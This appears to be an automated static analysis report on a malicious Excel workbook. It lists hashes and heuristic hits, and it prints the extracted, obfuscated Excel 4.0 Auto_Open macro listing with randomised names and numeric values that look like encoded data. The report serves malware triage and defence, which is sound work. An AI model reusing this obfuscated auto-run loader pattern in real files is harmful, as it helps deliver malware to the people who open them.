Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 833269e3848ec616…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:58 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 495e61e8e5f69629e938307886df18f0 SHA-1: f8455cf0bb885e7dd41e8c8c0a10c142799057f7 SHA-256: 833269e3848ec616eed8c7247348a0ab3f989f4f1d4f7ecfa7b0cdb9d403768b
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6690 bytes
SHA-256: 15ae7aa0d4fa1fdc30256142a29f18b85386d7458783c72bda033aee39d1803b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 36 identifiers look randomly generated (e.g. 'JpfUINGwmnnh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XcBHFcG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F162 
' 0018     27 LABEL : Cell Value, String Constant - bcThNwkvberY len=0 
' 0018     22 LABEL : Cell Value, String Constant - CamFScx len=0 
' 0018     21 LABEL : Cell Value, String Constant - cmcmTE len=0 
' 0018     25 LABEL : Cell Value, String Constant - cmokMsardt len=0 
' 0018     23 LABEL : Cell Value, String Constant - crvKGciW len=0 
' 0018     23 LABEL : Cell Value, String Constant - dEBkNwjL len=0 
' 0018     20 LABEL : Cell Value, String Constant - dfobY len=0 
' 0018     20 LABEL : Cell Value, String Constant - eIthj len=0 
' 0018     21 LABEL : Cell Value, String Constant - fjqwXL len=0 
' 0018     27 LABEL : Cell Value, String Constant - JpfUINGwmnnh len=0 
' 0018     26 LABEL : Cell Value, String Constant - JuQAUeLRnHy len=0 
' 0018     25 LABEL : Cell Value, String Constant - KdBqnAqlgK len=0 
' 0018     21 LABEL : Cell Value, String Constant - mphbnH len=0 
' 0018     26 LABEL : Cell Value, String Constant - NLnWxqDWnKF len=0 
' 0018     21 LABEL : Cell Value, String Constant - NvSxFW len=0 
' 0018     22 LABEL : Cell Value, String Constant - NYWmjQP len=0 
' 0018     27 LABEL : Cell Value, String Constant - QBCPYAptwXNG len=0 
' 0018     24 LABEL : Cell Value, String Constant - rnQGhfPYy len=0 
' 0018     20 LABEL : Cell Value, String Constant - rVGAR len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZozvV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XcBHFcG,F79,"SET.NAME("rVGAR",0+VALUE("0"))",""
'  XcBHFcG,R83,"",207.00000000000000000000
'  XcBHFcG,F84,"SET.NAME("cmokMsardt",rVGAR)",""
'  XcBHFcG,R84,"",-24.00000000000000000000
'  XcBHFcG,R85,"",-720.00000000000000000000
'  XcBHFcG,R86,"",-706.00000000000000000000
'  XcBHFcG,R87,"",47.00000000000000000000
'  XcBHFcG,R88,"",167.00000000000000000000
'  XcBHFcG,F89,"SET.NAME("JuQAUeLRnHy",rVGAR)",""
'  XcBHFcG,F91,"SET.NAME("ZozvV",COUNTA(QBCPYAptwXNG))",""
'  XcBHFcG,F94,"SET.NAME("fjqwXL",COUNTA(CamFScx))",""
'  XcBHFcG,F98,[],""
'  XcBHFcG,F103,"SET.NAME("rnQGhfPYy","")",""
'  XcBHFcG,F105,"cmokMsardt",""
'  XcBHFcG,F109,"SET.NAME("KdBqnAqlgK",HLOOKUP("*",QBCPYAptwXNG,cmokMsardt,FALSE))",""
'  XcBHFcG,F112,"bcThNwkvberY",""
'  XcBHFcG,F114,"SET.NAME("crvKGciW",rVGAR)",""
'  XcBHFcG,F118,[],""
'  XcBHFcG,F120,"crvKGciW",""
'  XcBHFcG,F125,"eIthj",""
'  XcBHFcG,F128,"mphbnH",""
'  XcBHFcG,F130,"JpfUINGwmnnh",""
'  XcBHFcG,F133,"SET.NAME("NYWmjQP",VALUE(HLOOKUP("*",CamFScx,JpfUINGwmnnh,FALSE)))",""
'  XcBHFcG,F138,"dEBkNwjL",""
'  XcBHFcG,F140,"rnQGhfPYy",""
'  XcBHFcG,F142,"JuQAUeLRnHy",""
'  XcBHFcG,F144,NEXT(),""
'  XcBHFcG,F148,"NLnWxqDWnKF",""
'  XcBHFcG,F151,[],""
'  XcBHFcG,F153,"dfobY",""
'  XcBHFcG,F155,NEXT(),""
'  XcBHFcG,F160,RETURN(),""
'  XcBHFcG,F187,"SET.NAME("cmcmTE",F79)",""
'  XcBHFcG,F189,"QBCPYAptwXNG",""
'  XcBHFcG,F191,"SET.NAME("CamFScx",R90C11)",""
'  XcBHFcG,F196,"SET.NAME("dfobY",207)",""
'  XcBHFcG,F201,"SET.NAME("NvSxFW",6)",""
'  XcBHFcG,F206,cmcmTE(),""
'  XcBHFcG,F207,HALT(),""

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